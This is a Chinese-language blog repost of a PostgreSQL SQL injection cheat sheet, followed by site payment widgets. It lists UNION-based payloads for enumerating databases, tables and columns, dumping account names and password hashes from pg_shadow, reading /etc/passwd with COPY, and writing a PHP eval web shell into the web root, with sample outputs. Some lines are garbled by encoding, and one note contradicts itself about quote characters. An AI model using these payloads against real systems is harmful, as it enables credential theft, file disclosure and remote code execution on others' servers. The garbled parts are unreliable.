Postgresql注入语法指南

PostgreSQL注入技巧详解
本文详细介绍了PostgreSQL数据库中常见的SQL注入技巧,包括显示版本、爆数据、列库、列数据库中的表段、列表段中的字段、读取配置信息、读写文件等操作的语法示例,是学习和理解PostgreSQL安全性的良好资源。

copy from:http://www.91ri.org/4375.html


在注入中常用的几个注入语法通常有这么几个:
–显示版本
–从已知表段字段爆数据
–列库
–列数据库中的表段
–列表段中的字段
–读取配置信息,例如数据库登陆账户和密码
–读写文件
那我就一个一个来讲这些Postgresql的语法是怎样的

–显示版本

Default

select version(); union select 1,2,...n,version()

1

2

select version();

union select 1,2,...n,version()

 
//version()函数与MySQL的是一样的
回显数据举例:
PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

–从已知表段字段爆数据

Default

select aa from bb where cc=dd; union select 1,2,....n,aa from bb where cc=dd

1

2

select aa from bb where cc=dd;

union select 1,2,....n,aa from bb where cc=dd

 
//所有的SQL语法几乎都是这样的语法来爆数据
无举例

–列库

Default

select datname from pg_database; union select 1,2,....,n,datname from pg_database;

1

2

select datname from pg_database;

union select 1,2,....,n,datname from pg_database;

 
回显举例:

Default

postgres,prc,template1,template0

1

postgres,prc,template1,template0

 

–列数据库中的表段

Default

select relname from pg_stat_user_tables limit 1 offset n;

1

select relname from pg_stat_user_tables limit 1 offset n;

 
//类似于MySQL中的information_schema.tables,虽然不大恰当

Default

union select relname from pg_stat_user_tables limit 1 offset 3;

1

union select relname from pg_stat_user_tables limit 1 offset 3;

 
//limit 1 offset 0和MySQL的limit 0,1一个效果。
无举例

–列表段中的字段

Default

select column_name from information_schema.columns where table_name='xxx' limit 1 offset n; union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

1

2

select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;

union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5

 
//同MySQL

–读取配置信息,例如数据库登陆账户和密码

Default

select usename,passwd from pg_shadow; union select 1,2,...n,usename,passwd from pg_shadow

1

2

select usename,passwd from pg_shadow;

union select 1,2,...n,usename,passwd from pg_shadow

 
//pg_shadow数据库类似于MySQL中的mysql数据库
root账户为postgres
回显举例:
postgres 9d2e7638fd7c7e433f0074a8f65cfd3a

–读取文件
copy test from ‘/etc /passwd’with delimiter E’t’;
(注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)
回显举例:
Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: “root:x:0:0:root:/root:/bin/bash”

–写入文件

Default

insert into test values ('<?php eval($_POST["cmd"];?>'); copy test(code) to â/var/www/one.phpâ;

1

2

insert into test values ('<?php eval($_POST["cmd"];?>');

copy test(code) to ”/var/www/one.php”;

 
回显举例:
Query failed: ERROR: could not open file “/var/www/html/aaa.php” for writing: Permission denied
pg_file_read()不如MySQL中的load_file()那么好用
例如:

Default

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

1

select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));

 
则回显:
Query failed: ERROR: function pg_file_length(“unknown”) does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.

Postgresql我也不是特别熟,所以写到这里。

参考:http://nana.blackbap.org/?p=archive&id=55

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值